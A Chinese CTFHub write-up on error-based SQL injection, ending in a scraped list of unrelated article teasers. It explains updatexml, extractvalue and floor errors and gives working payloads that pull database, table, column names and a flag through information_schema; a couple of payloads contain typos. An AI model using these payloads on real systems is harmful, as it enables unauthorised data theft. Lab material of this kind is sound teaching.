CTFHUB-SQL注入-报错注入

目录

报错注入概述

报错注入的原理

报错注入的步骤

报错注入的常用函数

实战案例

结论

方法1:updatexml函数

查看数据库名

查看表名

查看表中数据

方法2:extractvalue函数

查看数据库名

查看数据库中的表名

查看表中字段名

查看表中数据


报错注入概述

报错注入是一种SQL注入技术的变种,攻击者通过故意制造数据库错误来获取敏感信息。这种方法通常用于那些不允许正常错误信息回显的应用程序,攻击者利用数据库的错误处理机制,将希望得到的信息嵌入到可能导致错误的SQL语句中,从而使错误信息透露出所需的数据。

报错注入的原理

报错注入的关键在于利用某些函数在特定条件下产生的错误信息。例如,、、等函数在接收到不符合要求的参数时会返回错误信息,而这些错误信息中可能包含了攻击者需要的数据。updatexml()extractvalue()floor()

报错注入的步骤
  1. 判断是否存在报错注入:通过在输入参数中添加单/双引号,观察是否会引发错误信息来判断是否存在报错注入的可能。
  2. 确定报错注入的条件:进一步构造含有特定函数的SQL语句,观察报错信息是否包含有用信息。
  3. 提取数据库信息:通过精心设计的SQL语句,利用报错注入获取数据库的版本、库名、表名等信息。

报错注入的常用函数

  • updatexml():用于修改XML文档中的节点值,当第二个参数不是有效XML时会产生错误。
  • extractvalue():用于从XML文档中提取特定XPath表达式的值,当XPath表达式无效时会报错。
  • floor():向下取整的数学函数,与结合使用时,可以在特定条件下产生错误rand()。

实战案例

在实际应用中,报错注入可用于获取数据库的版本、库名、表名等信息。例如,在SQLi Labs靶场中,攻击者可通过构造特定的报错注入语句来获取上述信息。

结论

报错注入是一种高级的SQL注入技术,它依赖于数据库的错误处理机制。了解和掌握报错注入的原理和技巧对于防御此类攻击至关重要。开发人员应确保应用程序的错误信息不被泄露,并对用户输入进行严格的验证和过滤,以防止报错注入的发生。

本关不是很麻烦,就使用SQL语句了,盲注的题就使用sqlmap工具了

方法1:updatexml函数

查看数据库名

1 union select updatexml(1,concat(ox7e,database(),ox7e),1);

查看表名

1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e)) --

查看表中数据

1 and updatexml(1,concat(0x7e,(select flag from flag),0x7e))--

发现flag不完整,使用mid函数跳过第一个字符c,提取剩下的全部字符

1 and updatexml(1,concat(0x7e,mid((select flag from flag),2),0x7e))--

方法2:extractvalue函数

查看数据库名

1 and extractvalue(null,concat(0x7e,(database()),0x7e))

查看数据库中的表名

1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e))--

查看表中字段名

1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))--

查看表中数据

1 and extractvalue(1,concat(0x7e,mid((select flag from flag),2)0x7e))--

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/25647.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

第2回 从0x7c00到0x90000

将数据段寄存器ds的值变成了0x07c0,方便了之后访问内存时利用这个段基址进行寻址,接下来,我们带着这两行代码继续往下看6行: 此时ds寄存器的值已经是0x07c0了,然后用同样的方式将es寄存器的值变成0x9000,接着又把cs寄存器的值变成256。 好的,此时ds,es,cx寄存器的值,都…

CleanMyMac2024最新免费电脑Mac系统优化工具

大家好,我是你们的好朋友——软件评测专家,同时也是一名技术博主。今天我要给大家种草一个超级实用的Mac优化工具——CleanMyMac! 作为一个长期使用macOS的用户,我深知系统运行时间长了,缓存文件、日志、临时文件等都会…

LLVM Cpu0 新后端5 静态重定位 动态重定位

想好好熟悉一下llvm开发一个新后端都要干什么,于是参考了老师的系列文章: LLVM 后端实践笔记 代码在这里(还没来得及准备,先用网盘暂存一下): 链接: https://pan.baidu.com/s/1yLAtXs9XwtyEzYSlDCSlqw?…

每日一题——Python实现PAT乙级1019 数字黑洞(举一反三+思想解读+逐步优化)

一个认为一切根源都是“自己不够强”的INTJ 个人主页:用哲学编程-CSDN博客专栏:每日一题——举一反三Python编程学习Python内置函数 Python-3.12.0文档解读 目录 我的写法 点评代码的优缺点: 时间复杂度: 空间复杂度&#…

【类型商店】字符字符串(下)

啊,哈喽,小伙伴们大家好。我是#Y清墨,今天呐,我要介绍的是字符与字符串。 导语 前两期,我们已经懂得了概念,今天来看些函数。 正题 一.增加或连接 (1) 后面增加() string s1,s2; //定义 s…

Meta首席AI科学家Yann LeCun指出生成式AI的不足

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗?订阅我们的简报,深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同,从行业内部的深度分析和实用指南中受益。不要错过这个机会,成为AI领…

express入门01服务器搭建以及get和post请求的监听

微搭提供了后端API的能力,但是不同的版本收费差别巨大,因为使用的门槛限制了中小企业使用低代码平台。那可不可以既要又要呢?答案是肯定的,那其实掌握一定的后端框架,借助我们在低代码中已经熟练掌握的技能其实是比较容…

影子,介绍一下自己

自述 性格:生活i人;工作e人爱好:崇尚工程师文化,希望科技能帮助每个人更好的生活成长:坚持长期主义;认知提升专业领域:数学;Java后端;大数据;自然语言处理 …

spring和Mybatis的各种查询

文章目录 六**、MyBatis的各种查询功能**6.1、查询一个实体类的对象6.2、查询一个list集合6.3、查询单个数据6.4、查询一条数据为Map集合6.5、查询多条数据为Map集合 七、**特殊SQL的执行**7.1、模糊查询7.2、批量删除7.3、动态设置表名7.4、添加功能获取自增的主键 八、**自定…

OpenCV学习(4.9) OpenCV中的轮廓

1.目标 了解轮廓是什么。学习寻找轮廓,绘制轮廓等您将看到以下功能:**cv.findContours()** ,**cv.drawContours()* 2.什么是轮廓 轮廓可以简单地解释为连接具有相同颜色或强度的所有连续点(沿边界)的曲线。轮廓是用于形状分析以及对象检测…

友情提示:lazarus的tsortgrid.autofillcolumns存在BUG

直接在tsortgrid的属性中设置autofillcolumns为true,会提示:123个错误。即使修改为false,编译运行照样会出现上述错误。唯一解决的办法就是删除sortgrid重新添加一个。 代码设置SortGrid1.AutoFillColumns : TRUE不受影响。

【Windows】UWP - Application Frame 窗口句柄溯源

目录 一、问题描述 二、解决方案 三、测试代码 参考文献 本文出处链接:[https://blog.csdn.net/qq_59075481/article/details/139574981]。 一、问题描述 当 GUI 线程的窗口属于 Windows/UWP 应用程序时,它们始终由进程 ApplicationFrameHost 托管…

C++ 20新特性之Ranges

💡 如果想阅读最新的文章,或者有技术问题需要交流和沟通,可搜索并关注微信公众号“希望睿智”。 为什么要引入Ranges 在C 20之前,我们处理容器和迭代器时,通常需要使用一系列的算法和复杂的迭代器操作。这不仅繁琐&…

java aio nio区别

Java AIO(Asynchronous I/O)和NIO(Non-blocking I/O)在并发模型、API和适用场景等方面有所不同。具体分析如下: 并发模型 AIO:AIO提供了异步非阻塞的IO操作,通过回调函数来通知IO操作的完成。在…

栈----7-9 括号匹配

给定一串字符,不超过100个字符,可能包括括号、数字、字母、标点符号、空格,编程检查这一串字符中的( ) ,[ ],{ }是否匹配。 输入格式: 输入在一行中给出一行字符串,不超过100个字符,可能包括括号、数字、字母、标点符…

量化投资分析平台 迅投 QMT(六)资产定价绕不过去的BSM模型

量化投资分析平台 迅投 QMT [迅投 QMT](https://www.xuntou.net/?user_code7NYs7O)我目前在使用什么是BSM模型CQF课程介绍模型的五个重要的假设模型公式 我们为啥要学(知道)这玩意儿呢?隐含波动率(Implied Volatility&#xff09…

初阶 《函数》 4. 函数的调用

4. 函数的调用 4.1 传值调用 函数的形参和实参分别占有不同内存块,对形参的修改不会影响实参 4.2 传址调用 传址调用是把函数外部创建变量的内存地址传递给函数参数的一种调用函数的方式 这种传参方式可以让函数和函数外边的变量建立起真正的联系,也就是…

Bat脚本专栏目录及索引

文章目录 注释关闭回显和打印pauseerrorlevel 判断刚才的命令是否执行成功%value% 和 !value!的区别脚本名或路径有中文if条件判断语句for 循环语句set 变量设置findstr 搜索指令tasklist 进程列表指令文件操作时间延迟简单应用 注释 REM:: 关闭回显和打印 :字符…

大数据领域的workload是什么意思?

什么是workload? 在大数据领域,"workload"指的是需要处理的数据集和对其执行的操作的组合。它描述了大数据系统需要执行的任务的类型和规模。 我们可以从以下几个维度来理解大数据领域的 workload: 数据的特征: 数据量 需要处…

Linux下创建软raid(磁盘阵列)

raid --磁盘阵列 RAID分为软RAID和硬RAID 如果cpu比较空闲,并且I/O比较慢的话,那么就比较适合使用软RAID 基本级别 0 1 5 0级别: 至少有两块硬盘,条带化,即把磁盘分散开, 写性能 …